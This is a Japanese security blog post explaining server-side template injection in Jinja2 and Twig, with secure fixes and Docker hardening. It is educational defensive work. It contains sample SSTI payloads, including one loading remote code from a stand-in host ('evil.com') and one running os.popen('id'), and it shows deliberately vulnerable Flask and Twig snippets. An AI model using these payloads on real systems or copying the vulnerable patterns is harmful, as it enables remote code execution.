おい、最近リリースされたWebアプリのコードレビューをしたんだが、またテンプレートエンジンの扱いを盛大に間違えている案件を見つけた。画面の動的な表示を楽にするために導入したはずが、一歩間違えるとシステム全体が瞬殺される。それが今回深掘りする「サーバーサイドテンプレートエンジンインジェクション(SSTI)」だ。
世間の教科書には「ユーザー入力をテンプレートに直接埋め込むな」と書いてあるが、現場の泥臭い開発では、HTMLメールの生成やPDF出力、動的なランディングページの構築などで、うっかりこれを踏み抜く奴が後を絶たない。
今日は、攻撃者がどのようにして文字列の埋め込みからOSのコマンド実行(RCE)まで駆け上がるのか、その生々しいメカニズムを解説しつつ、明日から即座にプロダクション環境へ適用できる決定版の防御コードを叩き込んでやる。心して読め。
—
1. SSTIの正体:なぜ「ただの文字表示」がRCEに化けるのか
多くのWebアプリケーション開発者は、テンプレートエンジンを「安全な変数のプレースホルダー付き文字列置換ツール」だと誤解している。Jinja2(Python)、Twig(PHP)、Thymeleaf(Java)といったモダンなエンジンは、単なるテキスト置換ではなく、テンプレート言語自体を実行可能なコードとしてコンパイル・評価している。
ここに設計の罠がある。アプリケーション側が意図せず、ユーザーからの入力値をテンプレートの「コード片」として解釈させてしまった瞬間、ゲームセットだ。
攻撃のステップ:文字列からオブジェクトの脱獄へ
ペネトレーションテストの現場でSSTIを狙う際、攻撃者はまず対象がどのテンプレートエンジンを使っているかをファジング(動的な挙動確認)で見極める。
例えば、入力欄に ${7*7} や {{7*7}} と打ち込んでみる。もし出力結果に 49 と表示された場合、それはバックエンドで式がそのまま評価されている動かぬ証拠だ。
ここからRCEへの発展は、オブジェクト指向言語の仕組みを利用した「リフレクション(自己記述性)」の悪用になる。PythonのJinja2を例に取ろう。Jinja2のデフォルト環境では、組み込みオブジェクトを通じてPythonの標準ライブラリやビルトイン関数にアクセスできる。
# 攻撃者が入力するペイロードの概念図(Jinja2の例)
# 1. 文字列オブジェクトからベースクラス(基底クラス)を辿る
{{ ''.__class__.__mro__[1] }}
# 2. ロードされているすべてのサブクラスから、OSコマンドを実行できるモジュール(subprocess等)を探し出す
{{ ''.__class__.__mro__[1].__subclasses__() }}
# 3. 最終的に os.popen や subprocess.Popen を呼び出してシェルコマンドを実行する
実戦では、WAFの検知を逃すために、文字列を16進数エンコーディングしたり、アトリビュートへのアクセスを隠蔽したりする難読化が行われる。しかし、根本的な原因は常に同じ。「信頼できないユーザー入力をテンプレートのソースコードの一部として結合している」ことだ。
—
2. 脆弱な実装のアンチパターン(PHP / Python)
まずは、絶対に書いてはいけない「事故るコード」を確認しておこう。後輩の開発者がやりがちな実装だ。
【PHP / Twig の場合】
ユーザー名を受け取って挨拶を表示するだけの機能なのに、わざわざテンプレート文字列をその場で動的に生成しているケース。
// 【危険な実装例】絶対に真似してはいけないアンチパターン
require_once './vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
// ユーザーからの入力をそのままテンプレート文字列としてパースしている
'welcome' => 'こんにちは、 ' . $_GET['name'] . ' さん!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('welcome');
このコードでは、?name={{_self.env.setCache("ftp://evil.com")}}{{_self.env.loadTemplate("exploit") }} のようなリクエストを投げられるだけで、リモートから任意のコードを読み込まれて一撃で沈む。
【Python / Jinja2 の場合】
Flaskを使っていて、エラーメッセージを動的にテンプレートとしてレンダリングしてしまうケース。
# 【危険な実装例】FlaskにおけるSSTIの典型
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
user_input = request.args.get('input', 'ゲスト')
# ユーザー入力をテンプレート文字列の中に直接埋め込んでいる
html = f"<h1>ようこそ、{user_input}</h1>"
return render_template_string(html)
if __name__ == '__main__':
app.run(debug=True)
ここに ?input={{config.__class__.__init__.__globals__['os'].popen('id').read()}} なんてリクエストが入ったら、サーバーのユーザー権限が丸裸にされる。
—
3. 【完全防御】コピペで使えるセキュアな実装サンプル
ここからが本題だ。SSTIを根本から防ぐための鉄則はたった一つ。「テンプレートの構造(ソース)」と「データ(変数)」を完全に分離すること。ユーザー入力をテンプレートの「コード」として扱わせず、単なる「コンテキスト変数(値)」として渡せば、どれだけ悪意ある文字列が入力されても無害なテキストとしてエスケープされる。
対策済みの実装サンプル(Python / Flask + Jinja2)
テンプレート文字列を動的に生成せず、静的なファイル(または安全なテンプレートオブジェクト)をロードし、変数は辞書型として渡す。
# 【安全な実装例】Python / Flask
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route("/")
def index():
# ユーザーからの入力値を取得
user_input = request.args.get('input', 'ゲスト')
# 【重要】テンプレート内に直接埋め込むのではなく、コンテキスト変数として渡す
# Jinja2は変数をデフォルトでHTMLエスケープするため、XSSも同時に防げる
return render_template('index.html', user_input=user_input)
if __name__ == '__main__':
# デバッグモードは本番環境では絶対にOFFにすること(情報漏洩の原因になる)
app.run(debug=False, host='127.0.0.1', port=5000)
これに対応するテンプレートファイル(templates/index.html)側も以下のように記述する。
<!-- templates/index.html -->
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>セキュアなページ</title>
</head>
<body>
<!-- 二重の波括弧で変数を安全に表示(Jinja2が自動エスケープする) -->
<h1>ようこそ、{{ user_input }}</h1>
</body>
</html>
対策済みの実装サンプル(PHP / Twig)
PHPのTwigでも同様に、テンプレート文字列を動生成せず、ファイルベースのテンプレートを使用し、変数は配列で渡す。
// 【安全な実装例】PHP / Twig
require_once './vendor/autoload.php';
// テンプレートファイルを格納するディレクトリを指定
$loader = new \Twig\Loader\FilesystemLoader(__dirname . '/templates');
$twig = new \Twig\Environment($loader, [
'cache' => __dirname . '/var/cache', // 本番環境ではキャッシュを有効化
'auto_reload' => false,
]);
// ユーザー入力の取得(ここでは例としてGETパラメータ)
$userInput = $_GET['name'] ?? 'ゲスト';
// 【重要】テンプレート名と変数を完全に分離してレンダリングする
echo $twig->render('welcome.twig', [
'name' => $userInput // 変数として渡すため、仮に{{7*7}}が入力されても文字列として扱われる
]);
—
4. インフラ・コンテナレイヤーでの多層防御(Defense in Depth)
アプリケーションコードの修正が基本だが、万が一ゼロデイや実装漏れがあった場合に被害を最小限に食い止めるための「インフラ側の安全弁」についても触れておく。
SSTIからRCEに発展した攻撃者が最初に行うのは、外部との通信(リバースシェルやペイロードのダウンロード)や、システムコマンドの実行だ。これらをコンテナやクラウドの権限管理で縛り上げる。
Dockerコンテナのセキュリティ設定(Dockerfile / Compose)
Webアプリケーションが稼働するコンテナは、原則として非特権ユーザー(root以外)で実行し、ファイルシステムの書き込み権限を最小限にする。
# docker-compose.yml のセキュアな設定例
version: '3.8'
services:
webapp:
build: .
ports:
- "80:80"
# 【重要】コンテナ内のプロセスをroot権限で動かさない
user: "1000:1000"
# 【重要】ルートファイルシステムを読み取り専用にし、書き込み可能な場所を限定する
read_only: true
tmpfs:
- /tmp
- /var/run
# 【重要】不要なLinuxカーネルの機能をすべてドロップする
cap_drop:
- ALL
security_opt:
- no-new-privileges:true
もし仮にSSTIを突かれてRCEが成立したとしても、user: "1000:1000" と read_only: true が効いていれば、システムファイルを書き換えて永続化を図ったり、他のコンテナへピボット(横展開)したりする攻撃の大部分を防ぐことができる。
—
5. チーフエンジニアからの総括
SSTIは、「便利さ」の裏側に隠されたテンプレートエンジンの核心部分を理解していないと、いとも簡単に踏み抜く脆弱性だ。
「入力値をエスケープすればいいんでしょ?」という浅い理解ではなく、「動的なコード生成と、静的なデータバインディングの境界をどこに引くか」というアーキテクチャの設計思想が問われている。
後輩のコードレビューをする時は、render_template_string や文字列連結によるテンプレート生成を見かけたら、その場で即座に差し戻しを命じてほしい。セキュリティは「後からパッチを当てるもの」ではなく、「設計の段階で穴を塞ぐもの」だ。頼んだぞ。
コメント